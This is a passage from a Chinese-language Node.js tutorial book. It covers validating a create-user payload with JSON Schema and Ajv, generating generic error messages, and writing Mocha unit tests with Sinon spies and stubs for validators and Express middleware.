语句来验证创建用户请求负载对象的电子邮件和密码字段。由于我们将为我们的配置文件对象使用 JSON Schema 验证库,因此我们也应该将现有的验证逻辑迁移到 JSON Schema 以保持一致性。因此,让我们为整个创建用户请求负载对象创建一个模式。
在src/schema/users/create.json
中创建一个新文件,并插入以下模式:
{
"$schema": "http://json-schema.org/schema#",
"$id": "http://api.hobnob.social/schemas/users/create.json",
"title": "Create User Schema",
"description": "For validating client-provided create user object",
"type": "object",
"properties": {
"email": {
"type": "string",
"format": "email"
},
"password": { "type": "string" },
"profile": { "$ref": "profile.json#"}
},
"required": ["email", "password"],
"additionalProperties": false
}
这里有几个需要注意的地方:
-
我们使用
format
属性来确保电子邮件属性是一个有效的电子邮件,如 RFC 5322 第 3.4.1 节定义。然而,我们还想排除某些语法上有效的电子邮件,如daniel@127.0.0.1
,这些很可能是垃圾邮件。在本章的后面部分,我们将向您展示如何覆盖此默认格式。 -
我们使用了一个 JSON 引用(
$ref
)来引用我们之前定义的配置文件模式。$ref
语法在tools.ietf.org/html/draft-pbryan-zyp-json-ref-03
中指定,它允许我们从现有的模式中组合出更复杂的模式,从而消除了重复的需求。 -
我们已将
email
和password
属性标记为必填。
选择 JSON Schema 验证库
下一步是选择一个 JSON Schema 验证库。json-schema.org (json-schema.org/
)提供了一个验证器列表,您可以在json-schema.org/implementations.html上阅读。在选择模式验证库时,我们寻找两个东西:性能(有多快)和一致性(与规范有多接近)。
来自丹麦的开源开发者 Allan Ebdrup 创建了一套基准测试,用于比较这些库。您可以在github.com/ebdrup/json-schema-benchmark找到它。基准测试显示,动态 JSON Schema 验证器(djv,github.com/korzio/djv)是最快的,并且失败测试最少(只有 1 个)。第二快的库是另一个 JSON Schema 验证器(ajv,github.com/epoberezkin/ajv),它也只有单个失败测试:
库 | 相对速度 | 失败测试数量 |
---|---|---|
djv v2.0.0 (最快) |
100% | 1 |
ajv v5.5.1 |
98% | 1 |
is-my-json-valid v2.16.1 |
50.1% | 14 |
tv4 v1.3.0 |
0.2% | 33 |
因此,djv 似乎是一个明显的选择。然而,开发者和社区支持也是需要考虑的重要因素。所以,让我们看看一些最受欢迎的库,并检查它们的 GitHub 星标数量、从npmjs.com每周的下载量以及依赖的仓库和包数量*:
库 | GitHub 仓库 | 版本 | GitHub 星标 | 每周下载量 | 贡献者数量 | 依赖 |
---|---|---|---|---|---|---|
仓库 | 包 | |||||
ajv |
epoberezkin/ajv | 6.5.3 | 4,117 | 12,324,991 | 74 | 1,256,690 |
tv4 |
geraintluff/tv4 | 1.3.0 | 1,001 | 342,094 | 22 | 8,276 |
jsonschema |
tdegrunt/jsonschema | 1.2.4 | 889 | 214,902 | 39 | 18,636 |
is-my-json-valid |
mafintosh/is-my-json-valid | 2.19.0 | 837 | 2,497,926 | 23 | 463,005 |
JSV |
garycourt/JSV | 4.0.2 | 597 | 211,573 | 6 | 9,475 |
djv |
korzio/djv | 2.1.1 | 134 | 1,036 | 6 | 36 |
- 这些数据截至 2018 年 9 月 6 日是正确的。
如您所见,虽然 djv 在技术上是最优解决方案,但 Ajv 拥有最多的下载量和贡献者数量——这是项目得到社区广泛支持的迹象。
除了这些指标之外,您还可能想检查以下内容:
-
它对
master
分支的最后一次有意义的提交日期(这排除了版本升级和格式更改)——例如,JSV
库的最后提交是在 2012 年 7 月 11 日;因此,尽管它可能仍然有大量的活跃用户,但我们不应使用不再维护的库 -
开放问题的数量
-
发布频率
所有这些因素都将为您提供有关工具是否正在积极开发的指示。
考虑到所有因素,Ajv 似乎是显而易见的选择,因为它在性能、一致性和社区支持之间取得了正确的平衡。
使用 Ajv 对 JSON Schema 进行验证
因此,让我们首先将 Ajv 添加到我们项目的依赖项中:
$ yarn add ajv
然后,在src/validators/users/create.js
中,导入ajv
库以及我们的两个 JSON 模式:
import Ajv from 'ajv';
import profileSchema from '../../schema/users/profile.json';
import createUserSchema from '../../schema/users/create.json';
import ValidationError from '../errors/validation-error';
...
我们需要导入这两个模式,因为我们的创建用户模式引用了配置文件模式,而 Ajv 需要这两个模式才能解析此引用。
然后,移除整个validate
函数,并用以下内容替换它:
function validate(req) {
const ajvValidate = new Ajv()
.addFormat('email', /^[\w.+]+@\w+\.\w+$/)
.addSchema([profileSchema, createUserSchema])
.compile(createUserSchema);
const valid = ajvValidate(req.body);
if (!valid) {
// Return ValidationError
}
return true;
}
接下来,我们将创建一个 Ajv 实例,并运行addFormat
方法来覆盖email
格式的默认验证函数;现在,validate
函数将使用我们提供的正则表达式来验证任何具有email
格式的属性。
接下来,我们使用addSchema
方法向 Ajv 提供任何引用的子模式。这允许 Ajv 跟踪引用并生成一个非引用的扁平化模式,该模式将用于验证操作。最后,我们运行compile
方法以返回实际的验证函数。
当我们运行验证函数时,它将返回true
(如果它是有效的)或false
(如果它是无效的)。如果无效,ajvValidate.errors
将填充一个包含错误数组的数组,其外观可能如下所示:
[
{
"keyword": "type",
"dataPath": ".bio",
"schemaPath": "#/properties/bio/type",
"params": {
"type": "string"
},
"message": "should be string"
}
]
默认情况下,Ajv 以短路方式工作,并在遇到第一个错误时立即返回false
。因此,ajvValidate.errors
数组默认是一个包含第一个错误详细信息的单元素数组。要指示 Ajv 返回所有错误,您必须在 Ajv 构造函数中设置allErrors
选项,例如,new Ajv({allErrors: true})
。
生成验证错误消息
当我们的对象验证失败时,我们应该生成与之前相同的人类可读错误消息。为此,我们必须处理存储在ajvValidate.errors
中的错误,并使用它们来生成人类可读的消息。因此,在src/validators/errors/messages.js
中创建一个新的模块,并复制以下消息生成器:
function generateValidationErrorMessage(errors) {
const error = errors[0];
if (error.dataPath.indexOf('.profile') === 0) {
return 'The profile provided is invalid.';
}
if (error.keyword === 'required') {
return 'Payload must contain at least the email and password fields';
}
if (error.keyword === 'type') {
return 'The email and password fields must be of type string';
}
if (error.keyword === 'format') {
return 'The email field must be a valid email.';
}
return 'The object is invalid';
}
export default generateValidationErrorMessage;
generateValidationErrorMessage
函数从ajvValidate.errors
数组中提取第一个错误对象,并使用它来生成适当的错误消息。如果没有条件适用,还有一个通用的默认错误消息。
函数泛化
目前,generateValidationErrorMessage
函数产生的是针对创建用户操作的特定消息。这意味着尽管代码是分离的,但逻辑仍然高度耦合到创建用户端点。这种耦合破坏了模块的目的;这是一个应该被消除的代码异味。
相反,我们应该编程generateValidationErrorMessage
函数,使其能够为所有验证错误生成错误消息。这样做也提供了本地一致性,因为所有验证器现在都将有它们错误消息的一致结构/格式。
因此,让我们通过替换我们的generateValidationErrorMessage
函数来做出更改:
function generateValidationErrorMessage(errors) {
const error = errors[0];
if (error.keyword === 'required') {
return `The '${error.dataPath}.${error.params.missingProperty}' field is missing`;
}
if (error.keyword === 'type') {
return `The '${error.dataPath}' field must be of type ${error.params.type}`;
}
if (error.keyword === 'format') {
return `The '${error.dataPath}' field must be a valid ${error.params.format}`;
}
if (error.keyword === 'additionalProperties') {
return `The '${error.dataPath}' object does not support the field '${error.params.additionalProperty}'`;
}
return 'The object is not valid';
}
由于这个更改将破坏我们的当前实现和测试,我们必须获得产品经理的批准。如果他们批准,我们必须然后更新 E2E 测试以反映这个更改:
Scenario Outline: Bad Request Payload
...
And contains a message property which says "<message>"
Examples:
| missingFields | message |
| email | The '.email' field is missing |
| password | The '.password' field is missing |
Scenario Outline: Request Payload with Properties of Unsupported Type
...
And contains a message property which says "The '.<field>' field must be of type <type>"
...
Scenario Outline: Request Payload with invalid email format
...
And contains a message property which says "The '.email' field must be a valid email"
...
Scenario Outline: Invalid Profile
...
And contains a message property which says "<message>"
Examples:
| payload | message |
| ... | The '.profile' object does not support the field 'foo' |
| ... | The '.profile.name' object does not support the field 'a' |
| ... | The '.profile.summary' field must be of type string |
| ... | The '.profile.bio' field must be of type string |
接下来,将generateValidationErrorMessage
函数导入到我们的src/validators/users/create.js
文件中,并更新validateRequest
函数,以便我们可以使用它来返回一个包含错误消息的对象,如果验证失败:
import generateValidationErrorMessage from '../errors/messages';
function validate(req) {
...
const valid = ajvValidate(req.body);
if (!valid) {
return new ValidationError(generateValidationErrorMessage(ajvValidate.errors));
}
return true;
}
更新 npm 构建脚本
看起来一切都很顺利,但如果运行测试,它们将返回以下错误:
Error: Cannot find module '../../schema/users/profile.json'
这是因为 Babel 默认只处理.js
文件。因此,我们的.json
模式文件没有被处理或复制到dist/
目录,这导致了前面的错误。为了修复这个问题,我们可以更新我们的build
npm 脚本来使用 Babel 的--copy-files
标志,这将把任何不可编译的文件复制到dist/
目录:
"build": "rimraf dist && babel src -d dist --copy-files",
现在,如果我们再次运行我们的测试,它们应该都能通过。
测试成功场景
由于我们添加了验证步骤,我们现在需要确保携带有效用户负载的请求将被添加到数据库中,就像以前一样。因此,在spec/cucumber/features/users/create/main.feature
的末尾添加以下场景概述:
Scenario Outline: Valid Profile
When the client creates a POST request to /users/
And attaches <payload> as the payload
And sends the request
Then our API should respond with a 201 HTTP status code
And the payload of the response should be a string
And the payload object should be added to the database, grouped under the "user" type
And the newly-created user should be deleted
Examples:
| payload |
| {"email":"e@ma.il","password":"password","profile":{}} |
| {"email":"e@ma.il","password":"password","profile":{"name":{}}} |
| {"email":"e@ma.il","password":"password","profile":{"name":{"first":"Daniel"}}} |
| {"email":"e@ma.il","password":"password","profile":{"bio":"bio"}} |
| {"email":"e@ma.il","password":"password","profile":{"summary":"summary"}} |
再次运行你的测试以确保它们通过。
重置我们的测试索引
目前,我们的 Elasticsearch 测试索引中充满了虚拟用户。尽管现在这并不是一个问题,但将来可能会成为问题(例如,如果我们决定更改模式)。无论如何,在测试完成后清理副作用始终是一个好习惯,以便为后续的测试运行留下空白。因此,在每个测试结束时,我们应该删除 Elasticsearch 索引。这不是问题,因为索引将由测试代码自动重新创建。
因此,将以下行添加到我们的e2e.test.sh
脚本中;这将清理测试索引(你应该在 Elasticsearch 响应后,但在运行 API 服务器之前放置它):
# Clean the test index (if it exists)
curl --silent -o /dev/null -X DELETE "$ELASTICSEARCH_HOSTNAME:$ELASTICSEARCH_PORT/$ELASTICSEARCH_INDEX"
再次运行测试,它们应该仍然通过。现在,我们可以将我们的更改提交到 Git:
$ git add -A && git commit -m "Fully validate Create User request payload"
摘要
在本章中,我们将我们的单体应用程序拆分成许多更小的模块,并实现了我们创建用户功能的所有要求。我们将 JSON Schema 和 Ajv 集成到我们的验证模块中,这迫使我们更一致地处理错误消息的结构。这反过来又提高了我们最终用户的使用体验。
在下一章中,我们将使用 Mocha 和 Sinon 编写单元和集成测试,这将增强我们对代码的信心。
第八章:编写单元/集成测试
我们已经尽可能地对代码库进行了模块化,但我们有多少信心可以放在每个模块上?如果一个端到端测试失败,我们将如何定位错误的来源?我们如何知道哪个模块有缺陷?
我们需要一个更低级别的测试,它在模块级别工作,以确保它们作为独立的单元工作——我们需要单元测试。同样,我们也应该测试多个单元能否作为一个更大的逻辑单元良好地协同工作;为了做到这一点,我们需要实现一些集成测试。
通过遵循本章,您将能够做到以下事情:
-
使用Mocha编写单元和集成测试
-
使用Sinon库中的spies记录函数调用,并使用stubs模拟行为
-
使用依赖注入(DI)或monkey patching在单元测试中模拟依赖
-
使用Istanbul/nyc测量测试覆盖率
选择测试框架
虽然对于 JavaScript 的端到端测试只有一个事实上的测试框架(Cucumber),但有几个流行的单元和集成测试框架,包括 Jasmine (jasmine.github.io)、Mocha (mochajs.org)、Jest (jestjs.io)和 AVA (github.com/avajs/ava)。
我们将在这本书中使用 Mocha,但让我们了解这个决定背后的理由。像往常一样,每个选择都有其优缺点:
-
成熟度:Jasmine 和 Mocha 存在时间最长,多年来一直是 JavaScript 和 Node 的唯一两个可行的测试框架。Jest 和 AVA 是新生力量。一般来说,库的成熟度与功能数量和支持水平相关。
-
流行度:一般来说,一个库越受欢迎,社区就越大,当事情出错时获得支持的可能性就越高。在流行度方面,让我们检查几个指标(截至 2018 年 9 月 7 日正确):
-
GitHub stars@ Jest(20,187),Mocha(16,165),AVA(14,633),Jasmine(13,816)
-
曝光度(听说过它的开发者百分比):Mocha(90.5%),Jasmine(87.2%),Jest(62.0%),AVA(23.9%)
-
开发者满意度(使用过该工具并愿意再次使用的开发者百分比):Jest(93.7%),Mocha(87.3%),Jasmine(79.6%),AVA(75.0%)。
-
-
并行性:Mocha 和 Jasmine 都按顺序串行运行测试(意味着一个接一个),这意味着它们可能相当慢。相反,AVA 和 Jest 默认情况下并行运行无关的测试,作为单独的进程,这使得测试运行更快,因为一个测试套件不需要等待前一个测试套件完成才能开始。
-
背景:Jasmine 由旧金山的软件咨询公司 Pivotal Labs 的开发者维护。Mocha 由 TJ Holowaychuk 创建,并由几位开发者维护;尽管它不是由单个公司维护,但它得到了 Sauce Labs、Segment 和 Yahoo! 等大公司的支持。AVA 由 Sindre Sorhus 于 2015 年启动,并由几位开发者维护。Jest 由 Facebook 开发,因此它拥有所有框架中最好的支持。
-
可组合性:Jasmine 和 Jest 将不同的工具捆绑在一个框架中,这对于快速入门来说很棒,但这意味着我们无法看到所有东西是如何结合在一起的。另一方面,Mocha 和 AVA 只是简单地运行测试,你可以使用其他库,如
Chai
、Sinon
和nyc
,分别用于断言、模拟和覆盖率报告。
暴露和开发者满意度数据来自 2017 年的《JavaScript 状态调查》(2017.stateofjs.com/2017/testing/results)。
我们选择使用 Mocha 来编写这本书,因为它允许我们构建自定义的测试栈。通过这样做,它允许我们单独检查每个测试工具,这对你的理解有益。然而,一旦你了解了每个测试工具的复杂性,我确实鼓励你尝试 Jest,因为它更容易设置和使用。
安装 Mocha
首先,让我们将 Mocha 作为开发依赖项安装:
$ yarn add mocha --dev
这将在 node_modules/mocha/bin/mocha
安装一个可执行文件 mocha
,我们稍后可以执行它来运行我们的测试。
结构化我们的测试文件
接下来,我们将编写我们的单元测试,但应该把它们放在哪里呢?通常有两种方法:
-
将应用程序的所有测试放置在顶级
test/
目录中 -
将代码模块的单元测试放置在模块本身旁边,仅使用通用
test
目录进行应用程序级别的集成测试(例如,测试与外部资源如数据库的集成)
第二种方法(如下例所示)更好,因为它在文件系统中真正地将每个模块分开:
$ tree
.
├── src
│ └── feature
│ ├── index.js
│ └── index.unit.test.js
└── test
├── db.integration.test.js
└── app.integration.test.js
此外,我们将使用 .test.js
扩展名来表示一个文件包含测试(尽管使用 .spec.js
也是一个常见的约定)。我们将更加明确,并在扩展名本身中指定测试的 类型;也就是说,使用 unit.test.js
进行单元测试,使用 integration.test.js
进行集成测试。
编写我们的第一个单元测试
让我们为 generateValidationErrorMessage
函数编写单元测试。但首先,让我们将 src/validators/errors/messages.js
文件转换为其自己的目录,这样我们就可以在同一个目录中将实现和测试代码分组在一起:
$ cd src/validators/errors
$ mkdir messages
$ mv messages.js messages/index.js
$ touch messages/index.unit.test.js
接下来,在 index.unit.test.js
中,导入 assert
库和我们的 index.js
文件:
import assert from 'assert';
import generateValidationErrorMessage from '.';
现在,我们已经准备好编写我们的测试了。
描述预期的行为
当我们安装了 mocha
npm 包时,它为我们提供了 mocha
命令来执行我们的测试。当我们运行 mocha
时,它将注入几个函数,包括 describe
和 it
,作为全局变量注入到测试环境中。describe
函数允许我们将相关的测试用例分组在一起,而 it
函数定义了实际的测试用例。
在 index.unit.tests.js
中,让我们定义我们的第一个 describe
块:
import assert from 'assert';
import generateValidationErrorMessage from '.';
describe('generateValidationErrorMessage', function () {
it('should return the correct string when error.keyword is "required"', function () {
const errors = [{
keyword: 'required',
dataPath: '.test.path',
params: {
missingProperty: 'property',
},
}];
const actualErrorMessage = generateValidationErrorMessage(errors);
const expectedErrorMessage = "The '.test.path.property' field is missing";
assert.equal(actualErrorMessage, expectedErrorMessage);
});
});
describe
和 it
函数都接受一个字符串作为它们的第一个参数,该参数用于描述组/测试。描述对测试结果没有影响,它只是简单地在那里,为阅读测试的人提供上下文。
it
函数的第二个参数是另一个函数,您将在其中定义测试的断言。如果测试失败,函数应该抛出 AssertionError
;否则,Mocha 将假设测试应该通过。
在我们的测试中,我们创建了一个模拟的 errors
数组,它模仿了 Ajv 通常生成的 errors
数组。然后我们将数组传递给 generateValidationErrorMessage
函数,并捕获其返回值。最后,我们将实际输出与预期输出进行比较;如果它们匹配,则测试应该通过;否则,它应该失败。
覆盖测试文件的 ESLint
前面的测试代码应该已经引起了一些 ESLint 错误。这是因为我们违反了三条规则:
-
func-names
: 非预期的未命名函数 -
prefer-arrow-callback
: 非预期的函数表达式 -
no-undef
:describe
未定义
在我们继续之前,让我们来修复这些问题。
理解 Mocha 中的箭头函数
我们在用 cucumber-js
编写 E2E 测试时已经遇到了 func-names
和 prefer-arrow-callback
规则。当时,我们需要继续使用函数表达式而不是箭头函数,因为 cucumber-js
在每个函数内部使用 this
来维护同一场景不同步骤之间的上下文。如果我们使用了箭头函数,this
将被绑定,在我们的情况下,绑定到全局上下文,我们就不得不回到使用文件作用域变量来在步骤之间维护状态。
事实上,Mocha 也使用 this
来维护一个“上下文”。然而,在 Mocha 的术语中,“上下文”并不是用来在步骤之间持久化状态的;相反,Mocha 的上下文提供了以下方法,您可以使用这些方法来控制测试的流程:
-
this.timeout()
: 指定在将测试标记为失败之前,等待测试完成的毫秒数 -
this.slow()
:指定测试在被认为是“慢”之前应该运行多长时间 -
this.skip()
:跳过/中止测试 -
this.retries()
:重试测试指定次数
给每个测试函数命名也不切实际;因此,我们应该禁用 func-names
和 prefer-arrow-callback
规则。
那么,我们如何禁用这些规则以适用于我们的测试文件?对于我们的端到端测试,我们在 spec/
目录中创建了一个新的 .eslintrc.json
文件,并将其放置在其中。这将将这些配置应用于 spec/
目录下的所有文件。然而,我们的测试文件并没有被分到自己的目录中,而是散布在我们所有应用程序代码之间。因此,创建一个新的 .eslintrc.json
文件将不起作用。
相反,我们可以在顶层 .eslintrc.json
中添加一个 overrides
属性,这允许我们覆盖匹配指定文件 glob 的文件规则。更新 .eslintrc.json
为以下内容:
{
"extends": "airbnb-base",
"rules": {
"no-underscore-dangle": "off"
},
"overrides": [
{
"files": ["*.test.js"],
"rules": {
"func-names": "off",
"prefer-arrow-callback": "off"
}
}
]
}
这里,我们指示具有 .test.js
扩展名的文件应关闭 func-names
和 prefer-arrow-callback
规则。
指定 ESLint 环境
然而,ESLint 仍然会抱怨我们违反了 no-undef
规则。这是因为当我们调用 mocha
命令时,它将 describe
和 it
函数作为全局变量注入。然而,ESLint 并不知道这件事,并警告我们不要使用在模块内部未定义的变量。
我们可以指示 ESLint 通过指定一个 环境 来忽略这些未定义的全局变量。一个环境定义了预定义的全局变量。更新我们的覆盖数组条目为以下内容:
{
"files": ["*.test.js"],
"env": {
"mocha": true
},
"rules": {
"func-names": "off",
"prefer-arrow-callback": "off"
}
}
现在,ESLint 应该不会再抱怨了!
运行我们的单元测试
要运行我们的测试,我们通常会运行 npx mocha
。然而,当我们在这里尝试这样做时,我们得到了一个警告:
$ npx mocha
Warning: Could not find any test files matching pattern: test
No test files found
这是因为,默认情况下,Mocha 将尝试在项目根目录下找到一个名为 test
的目录并运行其中的测试。由于我们将测试代码放置在与它们对应的模块代码旁边,我们必须通知 Mocha 这些测试文件的位置。我们可以通过将匹配我们的测试文件的 glob 作为 mocha
的第二个参数来做到这一点。尝试运行以下命令:
$ npx mocha "src/**/*.test.js"
src/validators/users/errors/index.unit.test.js:1
(function (exports, require, module, __filename, __dirname) { import assert from 'assert';
^^^^^^
SyntaxError: Unexpected token import
....
我们遇到了另一个错误。我们在使用 cucumber-js
的时候已经遇到过这个问题。这个错误发生是因为 Mocha 在运行测试代码之前没有使用 Babel 进行转译。在使用 cucumber-js
时,我们使用了 --require-module
标志来引入 @babel/register
包,我们做了同样的事情。我们可以使用 Mocha 的 --require
标志来做到这一点:
$ npx mocha "src/**/*.test.js" --require @babel/register
generateValidationErrorMessage
 should return the correct string when error.keyword is "required"
1 passing (32ms)
如果你已经忘记了不同的 Babel 包(例如,@babel/node
、@babel/register
、@babel/polyfill
等),请参考 不同版本的 Babel 部分的 设置开发工具 章节中的 第六章。
注意,我们传递给 describe
和 it
的测试描述将在测试输出中显示。
将单元测试作为 npm 脚本运行
每次都输入完整的 mocha
命令可能会很麻烦。因此,我们应该创建一个与端到端测试相同的 npm 脚本。将以下内容添加到 package.json
文件中的 scripts 对象内:
"test:unit": "mocha 'src/**/*.test.js' --require @babel/register",
此外,让我们也更新现有的 test
npm 脚本来运行所有测试(单元测试和端到端测试):
"test": "yarn run test:unit && yarn run test:e2e",
现在,我们可以通过运行 yarn run test:unit
来运行我们的单元测试,并通过 yarn run test
运行所有测试。我们已经完成了第一个单元测试,所以让我们提交更改并继续编写更多的测试:
$ git add -A && \
git commit -m "Implement first unit test for generateValidationErrorMessage"
完成我们的第一个单元测试套件
我们只使用第一个单元测试覆盖了一个场景。因此,我们应该编写更多的测试来覆盖每个场景。尝试自己完成 generateValidationErrorMessage
的单元测试套件;一旦你准备好了,比较你的解决方案与以下方案:
import assert from 'assert';
import generateValidationErrorMessage from '.';
describe('generateValidationErrorMessage', function () {
it('should return the correct string when error.keyword is "required"', function () {
const errors = [{
keyword: 'required',
dataPath: '.test.path',
params: {
missingProperty: 'property',
},
}];
const actualErrorMessage = generateValidationErrorMessage(errors);
const expectedErrorMessage = "The '.test.path.property' field is missing";
assert.equal(actualErrorMessage, expectedErrorMessage);
});
it('should return the correct string when error.keyword is "type"', function () {
const errors = [{
keyword: 'type',
dataPath: '.test.path',
params: {
type: 'string',
},
}];
const actualErrorMessage = generateValidationErrorMessage(errors);
const expectedErrorMessage = "The '.test.path' field must be of type string";
assert.equal(actualErrorMessage, expectedErrorMessage);
});
it('should return the correct string when error.keyword is "format"', function () {
const errors = [{
keyword: 'format',
dataPath: '.test.path',
params: {
format: 'email',
},
}];
const actualErrorMessage = generateValidationErrorMessage(errors);
const expectedErrorMessage = "The '.test.path' field must be a valid email";
assert.equal(actualErrorMessage, expectedErrorMessage);
});
it('should return the correct string when error.keyword is "additionalProperties"', function () {
const errors = [{
keyword: 'additionalProperties',
dataPath: '.test.path',
params: {
additionalProperty: 'email',
},
}];
const actualErrorMessage = generateValidationErrorMessage(errors);
const expectedErrorMessage = "The '.test.path' object does not support the field 'email'";
assert.equal(actualErrorMessage, expectedErrorMessage);
});
});
再次运行测试,并注意测试是如何在 describe
块下分组的:
$ yarn run test:unit
generateValidationErrorMessage
 should return the correct string when error.keyword is "required"
 should return the correct string when error.keyword is "type"
 should return the correct string when error.keyword is "format"
 should return the correct string when error.keyword is "additionalProperties"
 should return the correct string when error.keyword is not recognized
5 passing (20ms)
我们现在已经完成了 generateValidationErrorMessage
的单元测试,所以让我们提交它:
$ git add -A && \
git commit -m "Complete unit tests for generateValidationErrorMessage"
单元测试 ValidationError
接下来,让我们专注于测试 ValidationError
类。同样,我们将把 validation.js
文件移动到它自己的目录中:
$ cd src/validators/errors/ && \
mkdir validation-error && \
mv validation-error.js validation-error/index.js && \
cd ../../../
现在,在 src/validators/errors/validation-error/index.unit.test.js
创建一个新文件来存放我们的单元测试:
import assert from 'assert';
import ValidationError from '.';
describe('ValidationError', function () {
it('should be a subclass of Error', function () {
const validationError = new ValidationError();
assert.equal(validationError instanceof Error, true);
});
describe('constructor', function () {
it('should make the constructor parameter accessible via the `message` property of the instance', function () {
const TEST_ERROR = 'TEST_ERROR';
const validationError = new ValidationError(TEST_ERROR);
assert.equal(validationError.message, TEST_ERROR);
});
});
});
运行测试并确保它们通过。然后,将其提交到仓库:
$ git add -A && git commit -m "Add unit tests for ValidationError"
单元测试中间件
接下来,我们将测试我们的中间件函数,从 checkEmptyPayload
中间件开始。像之前一样,将中间件模块移动到它自己的目录中:
$ cd src/middlewares/ && \
mkdir check-empty-payload && \
mv check-empty-payload.js check-empty-payload/index.js && \
touch check-empty-payload/index.unit.test.js && \
cd ../../
然后,在 src/middlewares/check-content-type.js/index.unit.test.js
中,构建我们第一个测试的框架:
import assert from 'assert';
import checkEmptyPayload from '.';
describe('checkEmptyPayload', function () {
describe('When req.method is not one of POST, PATCH or PUT', function () {
it('should not modify res', function () {
// Assert that `res` has not been modified
});
it('should call next() once', function () {
// Assert that `next` has been called once
});
});});
checkEmptyPayload
中间件的目的确保 POST
、PATCH
和 PUT
请求始终携带非空负载。因此,如果我们传递一个不同方法的请求,比如说 GET
,我们应该能够断言以下内容:
-
res
对象没有被修改 -
next
函数被调用一次
断言深度相等
要断言 res
对象没有被修改,我们需要在调用 checkEmptyPayload
之前和之后对 res
对象进行深度比较。
而不是自己实现这个函数,我们可以通过使用现有的实用库来节省时间。例如,Lodash 提供了 cloneDeep
方法(lodash.com/docs/#cloneDeep)用于深度克隆,以及 isEqual
方法(lodash.com/docs/#isEqual)用于深度对象比较。
要在我们的代码中使用这些方法,我们可以从 npm 安装 lodash
包,它包含数百个实用方法。然而,我们不会在我们的项目中使用这些方法中的大多数;如果我们安装整个实用库,大部分代码将不会被使用。我们应该始终尽量保持尽可能精简,最小化项目的依赖数量和大小。
幸运的是,Lodash 为每个方法提供了一个独立的 npm 包,所以让我们把它们添加到我们的项目中:
$ yarn add lodash.isequal lodash.clonedeep --dev
你可以使用一个名为 Bundlephobia 的在线工具(bundlephobia.com)来找出 npm 包的文件大小,而无需下载它。
例如,我们可以从bundlephobia.com/result?p=lodash@4.17.10中看到,经过压缩和 gzip 处理后,lodash
包的大小为 24.1 KB。同样,lodash.isequal
和lodash.clonedeep
包的大小分别为 3.7 KB 和 3.3 KB。因此,通过安装更具体的包,我们已经减少了项目中未使用的代码量 17.1 KB。
现在,让我们使用deepClone
方法在传递给checkEmptyPayload
之前克隆res
对象。然后,在checkEmptyPayload
被调用后,使用deepEqual
来比较res
对象及其克隆,并断言res
对象是否已被修改。
尝试自己实现它,并将你的解决方案与我们的进行比较,如下所示:
import assert from 'assert';
import deepClone from 'lodash.clonedeep';
import deepEqual from 'lodash.isequal';
import checkEmptyPayload from '.';
describe('checkEmptyPayload', function () {
let req;
let res;
let next;
describe('When req.method is not one of POST, PATCH or PUT', function
() {
let clonedRes;
beforeEach(function () {
req = { method: 'GET' };
res = {};
next = spy();
clonedRes = deepClone(res);
checkEmptyPayload(req, res, next);
});
it('should not modify res', function () {
assert(deepEqual(res, clonedRes));
});
it('should call next() once', function () {
// Assert that `next` has been called
});
});
});
接下来,我们需要一种方法来断言next
函数已被调用一次。我们可以通过使用测试间谍来实现这一点。
使用间谍断言函数调用
间谍是一个记录对它每次调用信息的函数。例如,我们不必将空函数分配给next
,而是可以分配一个间谍给它。每当next
被调用时,每次调用的信息都会存储在间谍对象中。然后我们可以使用这些信息来确定间谍被调用的次数。
生态系统中的de facto间谍库是 Sinon(sinonjs.org),所以让我们安装它:
$ yarn add sinon --dev
然后,在我们的单元测试中,从sinon
包中导入spy
命名导出:
import { spy } from 'sinon';
现在,在我们的测试函数中,不要将空函数分配给next
,而是分配一个新的间谍:
const next = spy();
当间谍函数被调用时,间谍会更新其一些属性以反映间谍的状态。例如,当它被调用一次时,间谍的calledOnce
属性将被设置为true
;如果间谍函数再次被调用,calledOnce
属性将被设置为false
,而calledTwice
属性将被设置为true
。还有许多其他有用的属性,例如calledWith
,但让我们通过检查我们的间谍的calledOnce
属性来更新我们的it
块:
it('should call next() once', function () {
assert(next.calledOnce);
});
接下来,我们将定义更多的测试来检查当req.method
是POST
、PATCH
或PUT
之一时会发生什么。实现以下测试,这些测试检查当content-length
头不是0
时会发生什么:
describe('checkEmptyPayload', function () {
let req;
let res;
let next;
...
(['POST', 'PATCH', 'PUT']).forEach((method) => {
describe(`When req.method is ${method}`, function () {
describe('and the content-length header is not "0"', function () {
let clonedRes;
beforeEach(function () {
req = {
method,
headers: {
'content-length': '1',
},
};
res = {};
next = spy();
clonedRes = deepClone(res);
checkEmptyPayload(req, res, next);
});
it('should not modify res', function () {
assert(deepEqual(res, clonedRes));
});
it('should call next()', function () {
assert(next.calledOnce);
});
});
});
});
});
beforeEach
是另一个由 Mocha 注入到全局作用域的函数。beforeEach
将在运行与beforeEach
块相同或更低级别的每个it
块之前运行传入它的函数。在这里,我们使用它来在每个断言之前调用checkEmptyPayload
。
beforeEach
是一种钩子函数。还有afterEach
、before
和after
。通过参考mochajs.org/#hooks文档,了解如何使用它们。
接下来,当content-type
头为0
时,我们想要断言res.status
、res.set
和res.json
方法被正确调用:
describe('and the content-length header is "0"', function () {
let resJsonReturnValue;
beforeEach(function () {
req = {
method,
headers: {
'content-length': '0',
},
};
resJsonReturnValue = {};
res = {
status: spy(),
set: spy(),
json: spy(),
};
next = spy();
checkEmptyPayload(req, res, next);
});
describe('should call res.status()', function () {
it('once', function () {
assert(res.status.calledOnce);
});
it('with the argument 400', function () {
assert(res.status.calledWithExactly(400));
});
});
describe('should call res.set()', function () {
it('once', function () {
assert(res.set.calledOnce);
});
it('with the arguments "Content-Type" and "application/json"', function () {
assert(res.set.calledWithExactly('Content-Type', 'application/json'));
});
});
describe('should call res.json()', function () {
it('once', function () {
assert(res.json.calledOnce);
});
it('with the correct error object', function () {
assert(res.json.calledWithExactly({ message: 'Payload should not be empty' }));
});
});
it('should not call next()', function () {
assert(next.notCalled);
});
});
最后,我们需要测试checkEmptyPayload
是否会返回res.json()
的输出。为了做到这一点,我们需要使用另一个测试构造,称为模拟对象。
使用模拟对象模拟行为
模拟对象是模拟其他组件行为的函数。
在 Sinon 中,模拟对象是间谍对象的扩展;这意味着间谍对象所有可用的方法也同样适用于模拟对象。
在我们的测试上下文中,我们并不关心res.json()
返回的值——我们只关心我们的checkEmptyPayload
中间件函数能够忠实地将这个值传递回去。因此,我们可以将我们的res.json
间谍对象转换为模拟对象,并使其返回一个对象的引用:
resJsonReturnValue = {};
res = {
status: spy(),
set: spy(),
json: stub().returns(resJsonReturnValue),
};
然后,我们可以添加另一个断言步骤来比较checkEmptyPayload
函数返回的值和我们的res.json
模拟对象返回的值;它们应该是严格相同的:
